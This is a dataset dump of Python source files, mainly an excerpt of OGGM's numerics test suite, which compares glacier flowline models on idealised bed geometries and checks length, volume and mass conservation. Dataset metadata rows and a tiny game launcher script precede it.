| 24.5 | 33 | 0.846939 | 15 | 98 | 5.133333 | 0.533333 | 0.38961 | 0.623377 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122449 | 98 | 3 | 34 | 32.666667 | 0.895349 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
f02dfcbc3bc791be47e6cf47e951e78687d5c2cf | 36 | py | Python | __main__.py | AssortedFantasy/KanataQuest | ce1b764fc9ce623355c2a028b429439cec79f524 | [
"MIT"
] | null | null | null | __main__.py | AssortedFantasy/KanataQuest | ce1b764fc9ce623355c2a028b429439cec79f524 | [
"MIT"
] | null | null | null | __main__.py | AssortedFantasy/KanataQuest | ce1b764fc9ce623355c2a028b429439cec79f524 | [
"MIT"
] | null | null | null | import game.game
game.game.launch()
| 12 | 18 | 0.777778 | 6 | 36 | 4.666667 | 0.5 | 0.857143 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 36 | 2 | 19 | 18 | 0.848485 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
f06e9719d8ed973eb4142a40b7b57cbe3e8b186e | 42,024 | py | Python | oggm/tests/test_numerics.py | C-Merrill/oggm | bd35aeda894b7d48e411e01c1cfb5948969aedae | [
"BSD-3-Clause"
] | null | null | null | oggm/tests/test_numerics.py | C-Merrill/oggm | bd35aeda894b7d48e411e01c1cfb5948969aedae | [
"BSD-3-Clause"
] | null | null | null | oggm/tests/test_numerics.py | C-Merrill/oggm | bd35aeda894b7d48e411e01c1cfb5948969aedae | [
"BSD-3-Clause"
] | null | null | null | import warnings
warnings.filterwarnings("once", category=DeprecationWarning) # noqa: E402
import unittest
from functools import partial
import pytest
import copy
import numpy as np
from numpy.testing import assert_allclose
# Local imports
import oggm
from oggm.core.massbalance import LinearMassBalance
from oggm import utils, cfg
from oggm.cfg import SEC_IN_DAY
from oggm.core.sia2d import Upstream2D
from oggm.exceptions import InvalidParamsError
# Tests
from oggm.tests.funcs import (dummy_bumpy_bed, dummy_constant_bed,
dummy_constant_bed_cliff,
dummy_mixed_bed, dummy_constant_bed_obstacle,
dummy_noisy_bed, dummy_parabolic_bed,
dummy_trapezoidal_bed, dummy_width_bed,
dummy_width_bed_tributary,
patch_url_retrieve_github)
# after oggm.test
import matplotlib.pyplot as plt
from oggm.core.flowline import (KarthausModel, FluxBasedModel,
MassConservationChecker)
from oggm.tests.ext.sia_fluxlim import MUSCLSuperBeeModel
FluxBasedModel = partial(FluxBasedModel, inplace=True)
KarthausModel = partial(KarthausModel, inplace=True)
MUSCLSuperBeeModel = partial(MUSCLSuperBeeModel, inplace=True)
pytestmark = pytest.mark.test_env("numerics")
do_plot = False
_url_retrieve = None
pytest.importorskip('geopandas')
pytest.importorskip('rasterio')
pytest.importorskip('salem')
def setup_module(module):
module._url_retrieve = utils.oggm_urlretrieve
oggm.utils._downloads.oggm_urlretrieve = patch_url_retrieve_github
def teardown_module(module):
oggm.utils._downloads.oggm_urlretrieve = module._url_retrieve
class TestIdealisedCases(unittest.TestCase):
def setUp(self):
N = 3
cfg.initialize()
self.glen_a = 2.4e-24 # Modern style Glen parameter A
self.aglen_old = (N + 2) * 1.9e-24 / 2. # outdated value
self.fd = 2. * self.glen_a / (N + 2.) # equivalent to glen_a
self.fs = 0 # set slidin
self.fs_old = 5.7e-20 # outdated value
def tearDown(self):
pass
@pytest.mark.slow
def test_constant_bed(self):
models = [KarthausModel, FluxBasedModel, MUSCLSuperBeeModel]
lens = []
surface_h = []
volume = []
yrs = np.arange(1, 700, 2)
for model in models:
fls = dummy_constant_bed()
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, y0=0., glen_a=self.glen_a,
fs=self.fs, fixed_dt=10 * SEC_IN_DAY)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
# We are almost at equilibrium. Spec MB should be close to 0
assert_allclose(mb.get_specific_mb(fls=fls), 0, atol=10)
if do_plot:
plt.figure()
plt.plot(yrs, lens[0], 'r')
plt.plot(yrs, lens[1], 'b')
plt.plot(yrs, lens[2], 'g')
plt.title('Compare Length')
plt.xlabel('years')
plt.ylabel('[m]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(yrs, volume[0], 'r')
plt.plot(yrs, volume[1], 'b')
plt.plot(yrs, volume[2], 'g')
plt.title('Compare Volume')
plt.xlabel('years')
plt.ylabel('[km^3]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
plt.plot(surface_h[1], 'b')
plt.plot(surface_h[2], 'g')
plt.title('Compare Shape')
plt.xlabel('[m]')
plt.ylabel('Elevation [m]')
plt.legend(['Bed', 'Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=3)
plt.show()
np.testing.assert_almost_equal(lens[0][-1], lens[1][-1])
np.testing.assert_allclose(volume[0][-1], volume[2][-1], atol=3e-3)
np.testing.assert_allclose(volume[1][-1], volume[2][-1], atol=3e-3)
assert utils.rmsd(lens[0], lens[2]) < 50.
assert utils.rmsd(lens[1], lens[2]) < 50.
assert utils.rmsd(volume[0], volume[2]) < 2e-3
assert utils.rmsd(volume[1], volume[2]) < 2e-3
assert utils.rmsd(surface_h[0], surface_h[2]) < 1.0
assert utils.rmsd(surface_h[1], surface_h[2]) < 1.0
@pytest.mark.slow
def test_mass_conservation(self):
mb = LinearMassBalance(2600.)
fls = dummy_constant_bed()
model = MassConservationChecker(fls, mb_model=mb, y0=0.,
glen_a=self.glen_a)
model.run_until(200)
assert_allclose(model.total_mass, model.volume_m3, rtol=1e-3)
fls = dummy_noisy_bed()
model = MassConservationChecker(fls, mb_model=mb, y0=0.,
glen_a=self.glen_a)
model.run_until(200)
assert_allclose(model.total_mass, model.volume_m3, rtol=1e-3)
fls = dummy_width_bed_tributary()
model = MassConservationChecker(fls, mb_model=mb, y0=0.,
glen_a=self.glen_a)
model.run_until(200)
assert_allclose(model.total_mass, model.volume_m3, rtol=1e-3)
# Calving!
fls = dummy_constant_bed(hmax=1000., hmin=0., nx=100)
mb = LinearMassBalance(450.)
model = MassConservationChecker(fls, mb_model=mb, y0=0.,
glen_a=self.glen_a,
is_tidewater=True)
model.run_until(500)
tot_vol = model.volume_m3 + model.calving_m3_since_y0
assert_allclose(model.total_mass, tot_vol, rtol=2e-2)
@pytest.mark.slow
def test_staggered_diagnostics(self):
mb = LinearMassBalance(2600.)
fls = dummy_constant_bed()
model = FluxBasedModel(fls, mb_model=mb, y0=0.)
model.run_until(700)
assert_allclose(mb.get_specific_mb(fls=fls), 0, atol=10)
# Check the flux just for fun
fl = model.flux_stag[0]
assert fl[0] == 0
# Now check the diags
df = model.get_diagnostics()
fl = model.fls[0]
df['my_flux'] = np.cumsum(mb.get_annual_mb(fl.surface_h) *
fl.widths_m * fl.dx_meter *
cfg.SEC_IN_YEAR).clip(0)
df = df.loc[df['ice_thick'] > 0]
# Also convert ours
df['ice_flux'] *= cfg.SEC_IN_YEAR
df['ice_velocity'] *= cfg.SEC_IN_YEAR
df['tributary_flux'] *= cfg.SEC_IN_YEAR
assert_allclose(np.abs(df['ice_flux'] - df['my_flux']), 0, atol=35e3)
assert df['ice_velocity'].max() > 25
assert df['tributary_flux'].max() == 0
fls = dummy_width_bed_tributary()
model = FluxBasedModel(fls, mb_model=mb, y0=0.)
model.run_until(500)
df = model.get_diagnostics()
df['ice_velocity'] *= cfg.SEC_IN_YEAR
df['tributary_flux'] *= cfg.SEC_IN_YEAR
df = df.loc[df['ice_thick'] > 0]
assert df['ice_velocity'].max() > 50
assert df['tributary_flux'].max() > 30e4
df = model.get_diagnostics(fl_id=0)
df = df.loc[df['ice_thick'] > 0]
df['ice_velocity'] *= cfg.SEC_IN_YEAR
df['tributary_flux'] *= cfg.SEC_IN_YEAR
assert df['ice_velocity'].max() > 10
assert df['tributary_flux'].max() == 0
@pytest.mark.slow
def test_min_slope(self):
""" Check what is the min slope a flowline model can produce
"""
models = [KarthausModel, FluxBasedModel, MUSCLSuperBeeModel]
kwargs = [{'fixed_dt': 3*SEC_IN_DAY}, {}, {}]
lens = []
surface_h = []
volume = []
min_slope = []
yrs = np.arange(1, 700, 2)
for model, kw in zip(models, kwargs):
fls = dummy_constant_bed_obstacle()
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, y0=0., glen_a=self.glen_a,
**kw)
length = yrs * 0.
vol = yrs * 0.
slope = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
fl = fls[-1]
length[i] = fl.length_m
vol[i] = fl.volume_km3
hgt = np.where(fl.thick > 0, fl.surface_h, np.NaN)
sl = np.arctan(-np.gradient(hgt, fl.dx_meter))
slope[i] = np.rad2deg(np.nanmin(sl))
lens.append(length)
volume.append(vol)
min_slope.append(slope)
surface_h.append(fls[-1].surface_h.copy())
np.testing.assert_allclose(lens[0][-1], lens[1][-1], atol=101)
np.testing.assert_allclose(volume[0][-1], volume[2][-1], atol=2e-3)
np.testing.assert_allclose(volume[1][-1], volume[2][-1], atol=5e-3)
assert utils.rmsd(volume[0], volume[2]) < 1e-2
assert utils.rmsd(volume[1], volume[2]) < 1e-2
if do_plot: # pragma: no cover
plt.figure()
plt.plot(yrs, lens[0], 'r')
plt.plot(yrs, lens[1], 'b')
plt.plot(yrs, lens[2], 'g')
plt.title('Compare Length')
plt.xlabel('years')
plt.ylabel('[m]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(yrs, volume[0], 'r')
plt.plot(yrs, volume[1], 'b')
plt.plot(yrs, volume[2], 'g')
plt.title('Compare Volume')
plt.xlabel('years')
plt.ylabel('[km^3]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(yrs, min_slope[0], 'r')
plt.plot(yrs, min_slope[1], 'b')
plt.plot(yrs, min_slope[2], 'g')
plt.title('Compare min slope')
plt.xlabel('years')
plt.ylabel('[degrees]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
plt.plot(surface_h[1], 'b')
plt.plot(surface_h[2], 'g')
plt.title('Compare Shape')
plt.xlabel('[m]')
plt.ylabel('Elevation [m]')
plt.legend(['Bed', 'Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=3)
plt.show()
@pytest.mark.slow
def test_cliff(self):
""" a test case for mass conservation in the flowline models
the idea is to introduce a cliff in the sloping bed and see
what the models do when the cliff height is changed
"""
models = [KarthausModel, FluxBasedModel, MUSCLSuperBeeModel]
lens = []
surface_h = []
volume = []
yrs = np.arange(1, 500, 2)
for model in models:
fls = dummy_constant_bed_cliff()
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, y0=0., glen_a=self.glen_a,
fs=self.fs, fixed_dt=2*SEC_IN_DAY)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
if False: # pragma: no cover
plt.figure()
plt.plot(yrs, lens[0], 'r')
plt.plot(yrs, lens[1], 'b')
plt.plot(yrs, lens[2], 'g')
plt.title('Compare Length')
plt.xlabel('years')
plt.ylabel('[m]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(yrs, volume[0], 'r')
plt.plot(yrs, volume[1], 'b')
plt.plot(yrs, volume[2], 'g')
plt.title('Compare Volume')
plt.xlabel('years')
plt.ylabel('[km^3]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
plt.plot(surface_h[1], 'b')
plt.plot(surface_h[2], 'g')
plt.title('Compare Shape')
plt.xlabel('[m]')
plt.ylabel('Elevation [m]')
plt.legend(['Bed', 'Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=3)
plt.show()
# OK, so basically, Alex's tests below show that the other models
# are wrong and produce too much mass. There is also another more
# more trivial issue with the computation of the length, I added a
# "to do" in the code.
# Unit-testing perspective:
# "verify" that indeed the models are wrong of more than 50%
assert volume[1][-1] > volume[2][-1] * 1.5
# Karthaus is even worse
assert volume[0][-1] > volume[1][-1]
if False:
# TODO: this will always fail so ignore it for now
np.testing.assert_almost_equal(lens[0][-1], lens[1][-1])
np.testing.assert_allclose(volume[0][-1], volume[2][-1], atol=2e-3)
np.testing.assert_allclose(volume[1][-1], volume[2][-1], atol=2e-3)
assert utils.rmsd(lens[0], lens[2]) < 50.
assert utils.rmsd(lens[1], lens[2]) < 50.
assert utils.rmsd(volume[0], volume[2]) < 1e-3
assert utils.rmsd(volume[1], volume[2]) < 1e-3
assert utils.rmsd(surface_h[0], surface_h[2]) < 1.0
assert utils.rmsd(surface_h[1], surface_h[2]) < 1.0
@pytest.mark.slow
def test_equilibrium(self):
models = [KarthausModel, FluxBasedModel]
vols = []
for model in models:
fls = dummy_constant_bed()
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, glen_a=self.glen_a,
fixed_dt=10 * SEC_IN_DAY)
model.run_until_equilibrium()
vols.append(model.volume_km3)
ref_vols = []
for model in models:
fls = dummy_constant_bed()
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, glen_a=self.glen_a,
fixed_dt=10 * SEC_IN_DAY)
model.run_until(600)
ref_vols.append(model.volume_km3)
np.testing.assert_allclose(ref_vols, vols, atol=0.01)
def test_run_until(self):
# Just check that exotic times are guaranteed to be met
yrs = np.array([10.2, 10.2, 10.200001, 10.3, 99.999, 150.])
models = [KarthausModel, FluxBasedModel, MUSCLSuperBeeModel]
steps = [31 * SEC_IN_DAY, None, None]
# Annual update
lens = []
surface_h = []
volume = []
for model, step in zip(models, steps):
fls = dummy_constant_bed()
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, glen_a=self.glen_a, fixed_dt=step)
# Codecov
with pytest.raises(InvalidParamsError):
model.step(0.)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
np.testing.assert_almost_equal(lens[0][-1], lens[1][-1])
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=1e-2)
np.testing.assert_allclose(volume[0][-1], volume[2][-1], atol=1e-2)
assert utils.rmsd(lens[0], lens[1]) < 50.
assert utils.rmsd(volume[2], volume[1]) < 1e-3
assert utils.rmsd(surface_h[0], surface_h[1]) < 5
assert utils.rmsd(surface_h[1], surface_h[2]) < 5
# Always update
lens = []
surface_h = []
volume = []
for model, step in zip(models, steps):
fls = dummy_constant_bed()
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, glen_a=self.glen_a, fixed_dt=step,
mb_elev_feedback='always')
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
np.testing.assert_almost_equal(lens[0][-1], lens[1][-1])
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=1e-2)
np.testing.assert_allclose(volume[0][-1], volume[2][-1], atol=1e-2)
assert utils.rmsd(lens[0], lens[1]) < 50.
assert utils.rmsd(volume[2], volume[1]) < 1e-3
assert utils.rmsd(surface_h[0], surface_h[1]) < 5
assert utils.rmsd(surface_h[1], surface_h[2]) < 5
def test_adaptive_ts(self):
models = [KarthausModel, FluxBasedModel, MUSCLSuperBeeModel]
steps = [31 * SEC_IN_DAY, None, None]
lens = []
surface_h = []
volume = []
yrs = np.arange(1, 500, 2)
for model, step in zip(models, steps):
fls = dummy_constant_bed()
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, glen_a=self.glen_a, fixed_dt=step)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
np.testing.assert_almost_equal(lens[0][-1], lens[1][-1])
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=1e-2)
np.testing.assert_allclose(volume[0][-1], volume[2][-1], atol=1e-2)
assert utils.rmsd(lens[0], lens[1]) < 50.
assert utils.rmsd(volume[2], volume[1]) < 1e-3
assert utils.rmsd(surface_h[0], surface_h[1]) < 5
assert utils.rmsd(surface_h[1], surface_h[2]) < 5
@pytest.mark.slow
def test_timestepping(self):
steps = ['ambitious',
'default',
'conservative',
'ultra-conservative'][::-1]
lens = []
surface_h = []
volume = []
yrs = np.arange(1, 400, 2)
for step in steps:
fls = dummy_constant_bed()
mb = LinearMassBalance(2600.)
model = FluxBasedModel(fls, mb_model=mb,
glen_a=self.glen_a,
time_stepping=step)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=1e-2)
np.testing.assert_allclose(volume[0][-1], volume[2][-1], atol=1e-2)
np.testing.assert_allclose(volume[0][-1], volume[3][-1], atol=1e-2)
@pytest.mark.slow
def test_bumpy_bed(self):
models = [KarthausModel, FluxBasedModel, MUSCLSuperBeeModel]
steps = [15 * SEC_IN_DAY, None, None]
lens = []
surface_h = []
volume = []
yrs = np.arange(1, 500, 2)
for model, step in zip(models, steps):
fls = dummy_bumpy_bed()
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, glen_a=self.glen_a, fixed_dt=step)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
if do_plot: # pragma: no cover
plt.figure()
plt.plot(yrs, lens[0], 'r')
plt.plot(yrs, lens[1], 'b')
plt.plot(yrs, lens[2], 'g')
plt.title('Compare Length')
plt.xlabel('years')
plt.ylabel('[m]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(yrs, volume[0], 'r')
plt.plot(yrs, volume[1], 'b')
plt.plot(yrs, volume[2], 'g')
plt.title('Compare Volume')
plt.xlabel('years')
plt.ylabel('[km^3]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
plt.plot(surface_h[1], 'b')
plt.plot(surface_h[2], 'g')
plt.title('Compare Shape')
plt.xlabel('[m]')
plt.ylabel('Elevation [m]')
plt.legend(['Bed', 'Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=3)
plt.show()
np.testing.assert_almost_equal(lens[0][-1], lens[1][-1])
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=1e-2)
np.testing.assert_allclose(volume[0][-1], volume[2][-1], atol=1e-2)
assert utils.rmsd(lens[0], lens[1]) < 50.
assert utils.rmsd(volume[0], volume[1]) < 1e-2
assert utils.rmsd(volume[0], volume[2]) < 1e-2
assert utils.rmsd(surface_h[0], surface_h[1]) < 5
assert utils.rmsd(surface_h[0], surface_h[2]) < 5
@pytest.mark.slow
def test_noisy_bed(self):
models = [KarthausModel, FluxBasedModel, MUSCLSuperBeeModel]
steps = [15 * SEC_IN_DAY, None, None]
lens = []
surface_h = []
volume = []
yrs = np.arange(1, 500, 2)
fls_orig = dummy_noisy_bed()
for model, step in zip(models, steps):
fls = copy.deepcopy(fls_orig)
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, glen_a=self.glen_a, fixed_dt=step)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
if do_plot: # pragma: no cover
plt.figure()
plt.plot(yrs, lens[0], 'r')
plt.plot(yrs, lens[1], 'b')
plt.plot(yrs, lens[2], 'g')
plt.title('Compare Length')
plt.xlabel('years')
plt.ylabel('[m]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(yrs, volume[0], 'r')
plt.plot(yrs, volume[1], 'b')
plt.plot(yrs, volume[2], 'g')
plt.title('Compare Volume')
plt.xlabel('years')
plt.ylabel('[km^3]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
plt.plot(surface_h[1], 'b')
plt.plot(surface_h[2], 'g')
plt.title('Compare Shape')
plt.xlabel('[m]')
plt.ylabel('Elevation [m]')
plt.legend(['Bed', 'Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=3)
plt.show()
np.testing.assert_allclose(lens[0][-1], lens[1][-1], atol=101)
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=1e-2)
np.testing.assert_allclose(volume[0][-1], volume[2][-1], atol=1e-2)
assert utils.rmsd(lens[0], lens[1]) < 100.
assert utils.rmsd(volume[0], volume[1]) < 1e-1
assert utils.rmsd(volume[0], volume[2]) < 1e-1
assert utils.rmsd(surface_h[0], surface_h[1]) < 10
assert utils.rmsd(surface_h[0], surface_h[2]) < 10
@pytest.mark.slow
def test_varying_width(self):
"""This test is for a flowline glacier of variying width, i.e with an
accumulation area twice as wide as the tongue."""
# set do_plot = True to see the plots
models = [KarthausModel, FluxBasedModel, MUSCLSuperBeeModel]
steps = [15 * SEC_IN_DAY, None, None]
lens = []
surface_h = []
volume = []
yrs = np.arange(1, 500, 2)
for model, step in zip(models, steps):
fls = dummy_width_bed()
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, glen_a=self.glen_a, fixed_dt=step)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
if do_plot: # pragma: no cover
plt.figure()
plt.plot(yrs, lens[0], 'r')
plt.plot(yrs, lens[1], 'b')
plt.plot(yrs, lens[2], 'g')
plt.title('Compare Length')
plt.xlabel('years')
plt.ylabel('[m]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(yrs, volume[0], 'r')
plt.plot(yrs, volume[1], 'b')
plt.plot(yrs, volume[2], 'g')
plt.title('Compare Volume')
plt.xlabel('years')
plt.ylabel('[km^3]')
plt.legend(['Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=2)
plt.figure()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
plt.plot(surface_h[1], 'b')
plt.plot(surface_h[2], 'g')
plt.title('Compare Shape')
plt.xlabel('[m]')
plt.ylabel('Elevation [m]')
plt.legend(['Bed', 'Karthaus', 'Flux', 'MUSCL-SuperBee'], loc=3)
plt.show()
np.testing.assert_almost_equal(lens[0][-1], lens[1][-1])
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=2e-2)
np.testing.assert_allclose(utils.rmsd(lens[0], lens[1]), 0., atol=70)
np.testing.assert_allclose(utils.rmsd(volume[0], volume[1]), 0.,
atol=1e-2)
np.testing.assert_allclose(utils.rmsd(surface_h[0], surface_h[1]), 0.,
atol=5)
@pytest.mark.slow
def test_tributary(self):
models = [KarthausModel, FluxBasedModel]
steps = [15 * SEC_IN_DAY, None]
flss = [dummy_width_bed(), dummy_width_bed_tributary()]
lens = []
surface_h = []
volume = []
yrs = np.arange(1, 500, 2)
for model, step, fls in zip(models, steps, flss):
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, fs=self.fs_old,
glen_a=self.aglen_old,
fixed_dt=step)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = np.sum([f.volume_km3 for f in fls])
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
np.testing.assert_allclose(lens[0][-1], lens[1][-1], atol=101)
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=2e-2)
np.testing.assert_allclose(utils.rmsd(lens[0], lens[1]), 0., atol=70)
np.testing.assert_allclose(utils.rmsd(volume[0], volume[1]), 0.,
atol=6e-3)
np.testing.assert_allclose(utils.rmsd(surface_h[0], surface_h[1]), 0.,
atol=5)
if do_plot: # pragma: no cover
plt.plot(lens[0], 'r')
plt.plot(lens[1], 'b')
plt.show()
plt.plot(volume[0], 'r')
plt.plot(volume[1], 'b')
plt.show()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
plt.plot(surface_h[1], 'b')
plt.show()
@pytest.mark.slow
def test_multiple_tributary(self):
models = [FluxBasedModel, FluxBasedModel]
flss = [dummy_width_bed(),
dummy_width_bed_tributary(n_trib=5)]
lens = []
surface_h = []
volume = []
yrs = np.arange(1, 300, 2)
for model, fls in zip(models, flss):
mb = LinearMassBalance(2600.)
model = model(fls, mb_model=mb, fs=self.fs_old,
glen_a=self.aglen_old)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = np.sum([f.volume_km3 for f in fls])
lens.append(length)
volume.append(vol)
surface_h.append(fls[-1].surface_h.copy())
np.testing.assert_allclose(lens[0][-1], lens[1][-1], atol=101)
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=2e-2)
np.testing.assert_allclose(utils.rmsd(lens[0], lens[1]), 0., atol=70)
np.testing.assert_allclose(utils.rmsd(volume[0], volume[1]), 0.,
atol=6e-3)
np.testing.assert_allclose(utils.rmsd(surface_h[0], surface_h[1]), 0.,
atol=5)
if do_plot: # pragma: no cover
plt.plot(lens[0], 'r')
plt.plot(lens[1], 'b')
plt.show()
plt.plot(volume[0], 'r')
plt.plot(volume[1], 'b')
plt.show()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
plt.plot(surface_h[1], 'b')
plt.show()
@pytest.mark.slow
def test_trapezoidal_bed(self):
tb = dummy_trapezoidal_bed()[0]
np.testing.assert_almost_equal(tb._w0_m, tb.widths_m)
np.testing.assert_almost_equal(tb.section, tb. widths_m * 0)
np.testing.assert_almost_equal(tb.area_km2, 0)
tb.section = tb.section
np.testing.assert_almost_equal(tb._w0_m, tb.widths_m)
np.testing.assert_almost_equal(tb.section, tb. widths_m * 0)
np.testing.assert_almost_equal(tb.area_km2, 0)
h = 50.
sec = (2 * tb._w0_m + tb._lambdas * h) * h / 2
tb.section = sec
np.testing.assert_almost_equal(sec, tb.section)
np.testing.assert_almost_equal(sec * 0 + h, tb.thick)
np.testing.assert_almost_equal(tb._w0_m + tb._lambdas * h, tb.widths_m)
akm = (tb._w0_m + tb._lambdas * h) * len(sec) * 100
np.testing.assert_almost_equal(tb.area_m2, akm)
models = [KarthausModel, FluxBasedModel]
flss = [dummy_constant_bed(), dummy_trapezoidal_bed()]
lens = []
surface_h = []
volume = []
widths = []
yrs = np.arange(1, 700, 2)
for model, fls in zip(models, flss):
mb = LinearMassBalance(2800.)
model = model(fls, mb_model=mb, fs=self.fs_old,
glen_a=self.aglen_old,
fixed_dt=14 * SEC_IN_DAY)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
widths.append(fls[-1].widths_m.copy())
surface_h.append(fls[-1].surface_h.copy())
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=1e-2)
if do_plot: # pragma: no cover
plt.plot(lens[0], 'r')
plt.plot(lens[1], 'b')
plt.show()
plt.plot(volume[0], 'r')
plt.plot(volume[1], 'b')
plt.show()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
